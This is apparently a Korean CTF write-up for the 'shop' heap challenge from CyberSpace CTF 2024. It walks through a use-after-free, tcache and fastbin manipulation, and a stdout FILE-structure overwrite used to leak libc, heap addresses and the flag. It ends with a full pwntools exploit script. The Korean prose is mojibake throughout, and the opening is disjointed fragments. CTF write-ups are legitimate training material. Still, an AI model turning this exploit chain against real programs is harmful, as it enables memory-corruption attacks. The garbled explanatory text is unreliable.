CyberSpace CTF 2024 - shop
๋ชฉ์ฐจ
CyberSpace CTF 2024 pwnable challenge ํํธ ๋ง์ฐฌ๊ฐ์ง๋ก ์ฐธ๊ณ ๋ก ์ดํ ์์ ๋ฒ์ ์ glibc(<=2.26)์์๋ ๊ฐ๋ฅํ์ง๋ง, ํ์ฌ docker ํ๊ฒฝ์ ๋ฒ์ ์ธ 2.31์์๋ tcache์๋ double free๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํ mitigation์ด ์ ์ฉ๋์๋ค. ๋ฐ๋ผ์ ์ด๋ฅผ ์ฐํํ๊ธฐ ์ํด fastbin reverse into tcache ๊ธฐ๋ฒ์ ์ฌ์ฉํ๋๋ฐ, ๋ค์ ์๋ฃ๋ค์ ์ฐธ๊ณ ํ๋ค. ์ ์๋ฃ๋ค์์๋ victim chunk๋ฅผ ํด์ ํ๊ณ ๊ฐ์ ์ธ ์ ์๋ ์ํฉ์ ๊ฐ์ ํ์ง๋ง ์ด ๋ฌธ์ ์์๋ ๋ฐ๋ผ์ exploit ์๋๋ฆฌ์ค๋ ๋ค์๊ณผ ๊ฐ๋ค. ํ ๋จ๊ณ์ฉ payload๋ฅผ ์์ฑํด๋ณด๋ฉด, ์ด๋ ๊ฒ ์ดํ tcache๋ฅผ ๋น์ฐ๊ธฐ ์ํด ์์ง heap leak์ ํ์ง ๋ชปํ์ผ๋ฏ๋ก ํ์ ๋ฐ์ดํธ๋ง partial overwrite๋ฅผ ํด์ ํ๋ฅ ์ ์ผ๋ก heap manipulation์ด ๊ฐ๋ฅํ๋ค. ์ด๋ ๊ฒ ์ ๋ณด๋ฉด tacahe list์ ๋ง์ง๋ง์ ์๊ฐํด๋ณด๋ heap chunk๋ฅผ ํ ๋นํ ๋ ์ฌ์ด์ฆ์ ์์น๋ฅผ ์ ์กฐ์ ํด์ ์ฃผ์๋ฅผ ํ ๋ฐ์ดํธ๋ง overwriteํด๋ ๋๊ฒ ๋ง๋ค๋ฉด ํ๋ฅ ์ด์ ์์ด exploit์ด ๊ฐ๋ฅํ ๊ฒ ๊ฐ๊ธด ํ๋ค. ์ payload์ฒ๋ผ 3๋ฒ์งธ ์ดํ ๋จ๊ณ๋ฅผ ์งํํ๊ธฐ์๋ ๋ฐ์ด๋๋ฆฌ์ ์ถ๋ ฅํ๋ ๋ถ๋ถ์ด ํ๋๋ ์์ด์ leak์ด ๋ถ๊ฐ๋ฅํ๋ค. ์ง๊ธ ๊ฐ์ง๊ณ ์๋ ๊ฒ์ ์๊ฐํด๋ณด๋ฉด ์ฃผ์๋ฅผ ๋ชฐ๋ผ์ ๊ทธ๋ ์ง ๊ณ ๋ฏผ์ ํ๋ค๊ฐ ์์ ๋จผ์ ์ต์ข
์ ์ผ๋ก๋ fastbin์ ์๋ chunk๋ฅผ ์ด์ฉํด AAW๋ฅผ ์ํํ ๊ฒ์ด๋ฏ๋ก ์ถฉ๋ถํ ์ฌ์ด์ฆ(0x60)์ chunk๋ฅผ fastbin์ผ๋ก ๋ณด๋ธ๋ค. ์ด ๋ victim chunk๋ฅผ unsorted bin์ผ๋ก ๋ณด๋ด๊ธฐ ์ํด ๋ํ ์ด๋ ๊ฒ ์ด์ chunk size๋ฅผ overwriteํ๊ธฐ ์ํด fastbin reverse into tcache ๊ธฐ๋ฒ์ ์ด์ฉํ๋ค. ์ payload๋ฅผ ์คํํ๋ฉด ๋ ๋ฒ์งธ ๊ทธ๋ฆผ๊ณผ ๊ฐ์์ง๋ฉฐ ๋ฐ๋ผ์ fastbin reverse into tcache ๊ธฐ๋ฒ์ ํ๋ฒ ๋ ์ฌ์ฉํด์ ํด๋น ์ฃผ์๋ฅผ ๋ฐํ๋ฐ๋๋ค. ์ด๋ฒ์๋ ๋ฐํ๋ฐ์ ์ฃผ์๋ฅผ Stdout์ Unsorted bin attack์ ์ ์ํํ๋ฉด ํํธ ๋ฐ๋ผ์ 1/16 ํ๋ฅ ๋ก Exploit ํ
ํฌ๋์ ์์ฝํ์๋ฉด ๊ฐ์ ๋ณ๊ฒฝํ๊ธฐ ์ ์ฐธ๊ณ ํ ์๋ฃ์์๋ ์ด ์ถ๋ ฅ์ ๊ฒฐ๊ณผ๋ฌผ๋ก ์ payload๋ฅผ ํตํด libc leak์ด ๊ฐ๋ฅํ ๊ฒ์ผ๋ก ๋ณด์ ์ด ์ฃผ์ํด์ผ ํ ์ ์ Heap ์ฃผ์๋ฅผ ํ๋ํ ๋ค ๊ฐ์ ๋ฐฉ์์ผ๋ก 0x00. Introduction
[*] '/home/user/shop'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled Concept
โ ./shop
1. Buy a pet
2. Edit name
3. Refund
> buy_143A()๋ฅผ ์ด์ฉํด์ heap chunk๋ฅผ ํ ๋น๋ฐ๊ณ ํ ๋น๋ ์ฃผ์์ size๋ฅผ ์ ์ฅํ๋ค. ๊ฐ๊ฐ ์ ์ญ๋ณ์์ ์ ์ธ๋ void *ptr_4060[32], int size_4160[32]์ ์ ์ฅ๋ค๋ค.edit_1523()์์๋ index๋ฅผ ์
๋ ฅ๋ฐ์ ptr_4060[index]์ ์ ์ฅ๋ chunk์ ๋ด์ฉ์ ์์ ํ ์ ์๋ค.refund_15F6()์์๋ index๋ฅผ ์
๋ ฅ๋ฐ์ ptr_4060[index]์ ์ ์ฅ๋ chunk๋ฅผ ํด์ ํ ์ ์๋ค.read_flag_12A9()์์ flag๋ฅผ ์ฝ์ด์ heap์ ์ ์ฅํ๋ฏ๋ก ์๊น์ง๋ ๋ฐ์ง ์์๋ ๋๋ค. 0x01. Vulnerability
int refund_15F6()
{
unsigned int index; // [rsp+0h] [rbp-10h]
void *ptr; // [rsp+8h] [rbp-8h]
printf("Index: ");
index = read_int_13A5();
if ( index > 31 )
return puts("INVALID INDEX");
ptr = (void *)ptr_4060[index];
if ( !ptr )
return puts("INVALID INDEX");
free(ptr);
size_4160[index] = 0;
return puts("DONE");
}refund_15F6()์์ ptr_4060[index]๊ฐ NULL์ด ์๋์ง๋ฅผ ๊ฒ์ฆํ๊ณ ptr์ ํด์ ํ๋ค.size_4160[index]๋ 0์ผ๋ก ์ด๊ธฐํํ์ง๋ง ptr_4060[index]๋ ์ด๊ธฐํํ์ง ์์ผ๋ฏ๋ก UAF ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค. 0x02. Exploit
Fastbin Reverse Into Tcache
1. Buy a pet
2. Edit name
3. Refund
> 3
Index: 0
DONE
1. Buy a pet
2. Edit name
3. Refund
> 3
Index: 1
DONE
1. Buy a pet
2. Edit name
3. Refund
> 3
Index: 0
free(): double free detected in tcache 2
[1] 97427 IOT instruction (core dumped) ./challsize_4160[index]๊ฐ 0์ด๋ฉด edit์ด ๋ถ๊ฐ๋ฅํ๋ฏ๋ก fastbin dup ์ํฉ์ ์ถ๊ฐ๋ก ๋ง๋ค์ด์ค์ผ ํ๋ค.7๊ฐ ํด์ ํ์ฌ tcache๋ฅผ ๊ฝ ์ฑ์7๊ฐ๋ฅผ ํ ๋นํ์ฌ tcache๋ฅผ ๋น์8๋ฒ์งธ chunk๋ฅผ ํ ๋น๋ฐ์ next_chunk ์กฐ์next_chunk ์ฃผ์๊ฐ ํ ๋น๋ ๋๊น์ง chunk ํ ๋น ์์ฒญ # fill tcache 0x20
for _ in range(9):
buy(s, 0x10)
for i in range(7):
refund(s, i + 1)
# fastbin dup 8 -> 9 -> 8
refund(s, 8)
refund(s, 9)
refund(s, 8)refund๋ฅผ 7๋ฒ ์คํํด์ tcache๋ฅผ ๊ฝ ์ฑ์ฐ๋ฉด ์ดํ chunk๋ค์ fastbin์ผ๋ก ๋ณด๋ด์ง๋ค. ์ด๋ฅผ ์ด์ฉํด์ fastbin์ 8 -> 9 -> 8 loop๋ฅผ ๋ง๋ ๋ค. # clean tacahe 0x20
for _ in range(7):
buy(s, 0x10)
# partially overwrite next_chunk
buy(s, 0x10)
edit(s, 8, b"\x40\x96")buy๋ฅผ 7๋ฒ ์คํํ๊ณ ํ๋ฒ ๋ buy๋ฅผ ์คํํ๋ฉด 8๋ฒ์งธ chunk๊ฐ ๋ฐํ๋๋ค. ์ด 8๋ฒ์งธ chunk๋ buy๋ฅผ ํ๋ฉด์ size_4160[8]์ size๊ฐ ์ ์ฅ๋์ ๊ฒ์ด๋ฏ๋ก edit์ด ๊ฐ๋ฅํ๋ค.gefโค heap bins
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ Tcachebins for thread 1 โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Tcachebins[idx=0, size=0x20, count=3] โ Chunk(addr=0x555555559b70, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
โ Chunk(addr=0x555555559b50, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
โ Chunk(addr=0x555555559640, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)edit์์ ์
๋ ฅํ \x40\x96์ด chunk์ next_chunk๋ฅผ ๋ถ๋ถ์ ์ผ๋ก ๋ฎ์ด์ tcache list๋ฅผ ์กฐ์ํ ์ ์๋ค.0x555555559640์ด ์ค๊ฒ ๋๋๋ฐ size๊ฐ 0์ด๋ค. ํ์ง๋ง tcache์์ ํ ๋น ์ size ๊ฒ์ฆ์ ํ์ง ์์์ ์กฐ์๋ next_chunk์ ํ ๋น์ด ์ด๋ฃจ์ด์ง๋ค. # allocate overwritten heap address
buy(0x10)
buy(0x10)
buy(0x10) # index 11 ; overwritten heap address
# overwrite chunk size
edit(s, 11, p64(0) + p64(0x421))buy๋ฅผ ํ ๋ partial overwrite๋ฅผ ํ ์ฃผ์๊ฐ ๋ฐํ๋๋ฉฐ, ์ด๋ฅผ ์ด์ฉํด heap์ ์ ์ฅ๋ ๊ฐ์ ๋ณ๊ฒฝํ ์ ์๋ค. Unsorted Bin Attack
next_chunk์ ์กฐ์ํด AAW๊ฐ ๊ฐ๋ฅํ ์ํฉ์ด๋ค.next_chunk์ ์ ์ฅ๋ heap ์ฃผ์๋ฅผ partial overwriteํ ๊ฒ์ฒ๋ผ libc ์ฃผ์๊ฐ ์ ์ฅ๋์ด ์๋ค๋ฉด partial overwrite๋ฅผ ํด์ libc ์์ญ์ write๋ฅผ ํ ์ ์๊ฒ ๋ค๋ ์๊ฐ์ด ๋ค์๋ค.next_chunk์ libc ์ฃผ์๊ฐ ๋ด๊ธฐ๊ฒ ํ๋ ๊ฒ์ unsorted bin attack์ผ๋ก ๊ฐ๋ฅํ๋ฐ, chunk๋ฅผ ์ ์ค์ฒฉ์์ผ์ผ ํ๋ค. ๊ทธ๋ฆผ์ผ๋ก ๋ํ๋ด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
next_chunk์์ offset์ด size์ ์ผ์นํ๋๋ก ์ค๊ฐ์ chunk๋ฅผ ์ ๋ฐฐ์นํด์ผ ํ๋ค.next_chunk๊ฐ top chunk์ผ ๊ฒฝ์ฐ unsorted bin์ผ๋ก ๊ฐ์ง ์๊ณ top chunk์ ๋ณํฉ๋์ด๋ฒ๋ฆฌ๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ๊ณ ๋ คํด์ผํ๋ค. # fill tcache 0x70
for _ in range(8):
buy(s, 0x60)
for i in range(7):
refund(s, i)
buy(s, 0x3a0) # index 0 ; align next chunk
# 0x555555559650 chunk goes to fastbin
refund(s, 7)index 7 chunk(0x555555559650)๊ฐ fastbin์ ๋ณด๋ด์ก์ผ๋ฉฐ ๋ค์ 0x3a0 chunk๋ฅผ ํ ๋น๋ฐ์ ์ฒซ ๋ฒ์งธ ๊ทธ๋ฆผ๊ณผ ๊ฐ์ ํํ๊ฐ ๋์๋ค. # partially overwrite next_chunk
buy(s, 0x10)
edit(s, 8, b"\x40\x96")
# allocate overwritten heap address
buy(s, 0x10)
buy(s, 0x10)
buy(s, 0x10) # index 11 ; overwritten heap address
# overwrite chunk size
edit(s, 11, p64(0) + p64(0x421))0x555555559650 chunk๋ฅผ ํด์ ์์ผ์ฃผ๋ฉด ๋๋๋ฐ 0x555555559650๋ฅผ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ๊ฐ ํ๋๋ ์๋ค. ํด๋น ์ฃผ์๋ ์ด๋ฏธ ํด์ ๋ chunk์ ์ฃผ์์ด๊ธฐ ๋๋ฌธ์ ๋ค์ 0x60 ํฌ๊ธฐ์ chunk๋ฅผ ํ ๋น๋ฐ์ง ์๋ ํ ์ ๊ทผํ ์ ์๋ค. # partially overwrite next_chunk
buy(s, 0x10)
edit(s, 12, b"\x50\x96")
# allocate overwritten heap address
buy(s, 0x10)
buy(s, 0x10)
buy(s, 0x10) # index 15 ; overwritten heap address
# free(0x555555559650) ; move chunk to unsorted bin
refund(s, 15)editํ๋๊ฒ ์๋๋ผ refund๋ฅผ ํด์ ํด์ ์์ผ์ฃผ๋ฉด ์ธ ๋ฒ์งธ ๊ทธ๋ฆผ๊ณผ ๊ฐ์์ง๋ค.gefโค heap bins
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ Fastbins for arena at 0x7ffff7fbfb80 โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Fastbins[idx=5, size=0x70] โ Chunk(addr=0x555555559650, size=0x420, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [incorrect fastbin_index]
โ Chunk(addr=0x7ffff7fbfbf0, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [incorrect fastbin_index]
โ Chunk(addr=0x555555559650, size=0x420, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) โ [loop detected]
Fastbins[idx=6, size=0x80] 0x00
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ Unsorted Bin for arena at 0x7ffff7fbfb80 โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[+] unsorted_bins[0]: fw=0x555555559640, bk=0x555555559640
โ Chunk(addr=0x555555559650, size=0x420, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.0x555555559650 chunk๋ ์ฌ์ ํ fastbin์ ์์ผ๋ฏ๋ก next_chunk์ ๋ด๊ธฐ๊ฒ ๋ main_arena๊ฐ ๋ค์ chunk๋ก ํด์๋์ด libc ์์ญ์ ํ ๋น๋ฐ์ ์ ์๊ฒ ๋์๋ค. ๋ค๋ง fastbin์์๋ size์ ๋ํ ๊ฒ์ฆ์ ํ๋ฏ๋ก 0x421๋ก overwriteํ chunk size๋ฅผ ๋ค์ ์๋ณต์์ผ์ผ ํ๋ค. # restore chunk size
edit(s, 11, p64(0) + p64(0x71)) Stdout Attack
flag๋ฅผ ๋ณ๊ฒฝํ ์ ์์ ๋ libc leak์ด ๊ฐ๋ฅํ ๊ธฐ๋ฒ์ด ์์ด ๋ค์ ์๋ฃ๋ฅผ ์ฐธ๊ณ ํ๋ค.0x555555559650 ์ฃผ์์ ๋ด๊ธด main_arena ์ฃผ์๋ ๋ค์๊ณผ ๊ฐ๋ค.gefโค x/4gx 0x555555559650 - 0x10
0x555555559640: 0x0000000000000000 0x0000000000000071
0x555555559650: 0x00007ffff7fbfbe0 0x00007ffff7fbfbe0stdout์ libc ์์ญ์ ์ ์ฅ๋ _IO_FILE ๊ตฌ์กฐ์ฒด๋ฅผ ๊ฐ๋ฆฌํค๋๋ฐ, ๊ทธ ์ฃผ์๋ ๋ค์๊ณผ ๊ฐ๋ค.gefโค x/6gx 0x555555558020
0x555555558020 <stdout>: 0x00007ffff7fc06a0 0x0000000000000000
0x555555558030 <stdin>: 0x00007ffff7fbf980 0x0000000000000000
0x555555558040 <stderr>: 0x00007ffff7fc05c0 0x00000000000000000x7ffff7fbfbe0์ 0x7ffff7fc06a0๋ ASLR์ด ์์ ๋๋ ์ฃผ์๊ฐ์ด 3๋ฐ์ดํธ ์ฐจ์ด๊ฐ ๋์ง๋ง ASLR์ด ์ผ์ ธ์์ ๋๋ ํ๋ฅ ์ ์ผ๋ก 2๋ฐ์ดํธ๋ง ์ฐจ์ด๊ฐ ๋๋ฏ๋ก partial overwrite๋ฅผ ํ์ ๋ 1/16 ํ๋ฅ ๋ก exploit์ด ๊ฐ๋ฅํ๋ค. # partially overwrite main_arena -> stdout
buy(s, 0x60)
edit(s, 22, b"\xa0\x06\xfc") # aslr off
# edit(s, 22, b"\xa0\x76") # aslr on
for _ in range(3):
buy(s, 0x60)stdout์ _IO_FILE ๊ตฌ์กฐ์ฒด๊ฐ ์ ์ฅ๋ libc ์ฃผ์๋ฅผ ํ ๋น๋ฐ๊ฒ ๋๋ค๋ฉด flag๋ฅผ ๋ฐ๊ฟ libc ์ฃผ์๋ฅผ ์ถ๋ ฅํ ์ ์๋ค.flag์ _IO_IS_APPENDING์ ์ถ๊ฐํ์ ๋ ๋ค์๊ณผ ๊ฐ์ด _IO_new_do_write๊ฐ ํธ์ถ๋๋ฏ๋ก _IO_write_base, _IO_write_ptr์ ์ ์กฐ์ํด์ฃผ๋ฉด ๋๋ค.// _IO_do_write (FILE *fp, const char *data, size_t to_do)
_IO_do_write (stdout, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base)stdout์ _IO_FILE ๊ตฌ์กฐ์ฒด์ ์ํ๋ ๋ค์๊ณผ ๊ฐ๋ค.gefโค p *(struct _IO_FILE *) 0x7ffff7fc06a0
$1 = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7fc0724 <_IO_2_1_stdout_+132> "",
...
}_IO_write_base์ ์ฒซ ๋ฐ์ดํธ๋ฅผ \x00์ผ๋ก overwriteํ๋๋ฐ, ๊ทธ๋ฌ๋ฉด ๋ค์๊ณผ ๊ฐ์ด _IO_do_write๊ฐ ํธ์ถ๋ ๊ฒ์ด๋ค.// _IO_do_write (FILE *fp, const char *data, size_t to_do)
_IO_do_write (stdout, 0x7ffff7fc0700, 0x23)_IO_FILE ๊ตฌ์กฐ์ฒด์ ๋ด๊ฒจ์๋ libc ์ฃผ์๊ฐ ์ถ๋ ฅ๋๋ค. # leak libc
io_is_appending = 0x1000
payload = p64(0xfbad2887 | io_is_appending)
payload += b"\x00" * 0x19
r = edit(s, 25, payload)_IO_read_XXX๊ฐ์ ์์ญ์ ์ถ๋ ฅ์ ํ ๋ ์ค์ํ์ง ์๋ ๋ฏํ๋ค.stdout ๊ตฌ์กฐ์ฒด๋ฅผ ์ด์ฉํด์ AAR์ด ๊ฐ๋ฅํ๊ณ ๋ฐ์ด๋๋ฆฌ์์ flag๋ฅผ ์ฝ์ ํ heap ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฅํ๋ฏ๋ก ์ด์ heap ์ฃผ์๋ง ์์ผ๋ฉด flag๋ฅผ ํ๋ํ ์ ์๋ค. Unsorted bin attack์์ next_chunk์ main_arena ์ฃผ์๊ฐ ๋ด๊ธฐ๊ฒ ํ ๊ฒ๊ณผ ๋ฐ๋๋ก main_arena์๋ heap ์ฃผ์๊ฐ ๋ด๊ฒจ์๋ค. main_arena๋ libc์ ๊ณ ์ ๋ ์์ญ์ ์ ์ฅ๋ ๋ณ์์ด๋ฏ๋ก offset์ ๊ณ์ฐํด์ ๊ฐ์ ๋ฎ์ด์ฃผ๋ฉด ๋๋ค. # leak heap - print main_arena
payload = p64(0xfbad2887 | io_is_appending)
payload += b"\x00" * 0x18
payload += p64(main_arena) # _IO_write_base
payload += p64(main_arena + 0x20) # _IO_write_ptr
payload += p64(main_arena + 0x20) # _IO_write_end
r = edit(s, 25, payload)_IO_write_end๊ฐ _IO_write_ptr๊ณผ ๊ฐ์์ผ ์ถ๋ ฅ์ด ๋๋ค๋ ์ ์ด๋ค. ์์๋๋ค๊ฐ ๋์ค์ stdout์ ์ด์ฉํด ๋ฉ๋ชจ๋ฆฌ leak์ ํด์ผํ ๋ ํ์ฉํด์ผ๊ฒ ๋ค. # print flag
payload = p64(0xfbad2887 | io_is_appending)
payload += b"\x00" * 0x18
payload += p64(flag) # _IO_write_base
payload += p64(flag + 0x30) # _IO_write_ptr
payload += p64(flag + 0x30) # _IO_write_end
r = edit(s, 25, payload)flag๋ฅผ ํ๋ํ ์ ์๋ค. 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "chall"
LIBRARY = "libc-2.31.so"
CONTAINER = "b212a05a74cb"
code_base = 0x555555554000
bp = {
'read_int_edit' : code_base + 0x1545,
'read_int_refund' : code_base + 0x1618
}
index_list = [0] * 32
def print_index(op, num = 0):
if op == "pop":
index_list[num] = 0
index = num
elif op == "push":
for _ in range(len(index_list)):
if index_list[_] == 0:
index_list[_] = num
index = _
break
hex_numbers = [hex(num)[2:].rjust(3) for num in index_list[0:16]]
log.info(f"{', '.join(hex_numbers)} ; {op} {index}")
def buy(s, size):
s.sendline(b"1")
s.sendlineafter(b"much? ", str(size).encode())
print_index("push", size)
return s.recvuntil(b"> ")
def edit(s, index, name):
s.sendline(b"2")
s.sendlineafter(b"Index: ", str(index).encode())
s.sendafter(b"Name: ", name)
return s.recvuntil(b"> ")
def refund(s, index):
s.sendline(b"3")
s.sendlineafter(b"Index: ", str(index).encode())
print_index("pop", index)
return s.recvuntil(b"> ")
gs = f'''
!b *{bp["read_int_refund"]}
gef config gef.bruteforce_main_arena True
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def main(server, port, debug):
if(port):
s = remote(server, port)
if debug:
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
else:
context.log_level = "ERROR"
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
if debug:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
s.recvuntil(b"> ").decode()
# fill tcache 0x70
for _ in range(8):
buy(s, 0x60)
for i in range(7):
refund(s, i)
buy(s, 0x3a0) # index 0 ; align next chunk
# 0x555555559650 chunk goes to fastbin
refund(s, 7)
# fill tcache 0x20
for _ in range(9):
buy(s, 0x10)
for i in range(7):
refund(s, i + 1)
# fastbin dup 8 -> 9 -> 8
refund(s, 8)
refund(s, 9)
refund(s, 8)
# clean tacahe 0x20
for _ in range(7):
buy(s, 0x10)
# partially overwrite next_chunk
buy(s, 0x10)
edit(s, 8, b"\x40\x96")
# allocate overwritten heap address
buy(s, 0x10)
buy(s, 0x10)
buy(s, 0x10) # index 11 ; overwritten heap address
# overwrite chunk size
edit(s, 11, p64(0) + p64(0x421))
# fill tcache 0x20
for _ in range(2):
buy(s, 0x10)
for i in range(7):
refund(s, i + 1)
# fastbin dup 12 -> 13 -> 12
refund(s, 12)
refund(s, 13)
refund(s, 12)
# clean tcache 0x20
for _ in range(7):
buy(s, 0x10)
# partially overwrite next_chunk
buy(s, 0x10)
edit(s, 12, b"\x50\x96")
# allocate overwritten heap address
buy(s, 0x10)
buy(s, 0x10)
buy(s, 0x10) # index 15 ; overwritten heap address
# free(0x555555559650) ; move chunk to unsorted bin
refund(s, 15)
# clean tcache 0x70
for _ in range(7):
buy(s, 0x60)
# restore chunk size
edit(s, 11, p64(0) + p64(0x71))
# partially overwrite main_arena -> stdout
buy(s, 0x60)
edit(s, 22, b"\xa0\x06\xfc") # aslr off
# edit(s, 22, b"\xa0\x76") # aslr on
for _ in range(3):
buy(s, 0x60)
# leak libc
io_is_appending = 0x1000
payload = p64(0xfbad2887 | io_is_appending)
payload += b"\x00" * 0x19
r = edit(s, 25, payload)
lib.address = u64(r[0x8:0x10]) - 0x1ec980
log.info(f"libc : {hex(lib.address)}")
main_arena = lib.address + 0x1ecbe0
# leak heap - print main_arena
payload = p64(0xfbad2887 | io_is_appending)
payload += b"\x00" * 0x18
payload += p64(main_arena) # _IO_write_base
payload += p64(main_arena + 0x20) # _IO_write_ptr
payload += p64(main_arena + 0x20) # _IO_write_end
r = edit(s, 25, payload)
heap = u64(r[0:8]) - 0xbc0
log.info(f"heap : {hex(heap)}")
flag = heap + 0x308
# print flag
payload = p64(0xfbad2887 | io_is_appending)
payload += b"\x00" * 0x18
payload += p64(flag) # _IO_write_base
payload += p64(flag + 0x30) # _IO_write_ptr
payload += p64(flag + 0x30) # _IO_write_end
r = edit(s, 25, payload)
f = r.split(b'\n')[0]
context.log_level ="DEBUG"
log.success(f"flag : {f.decode()}")
s.close()
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.server, args.port, args.debug)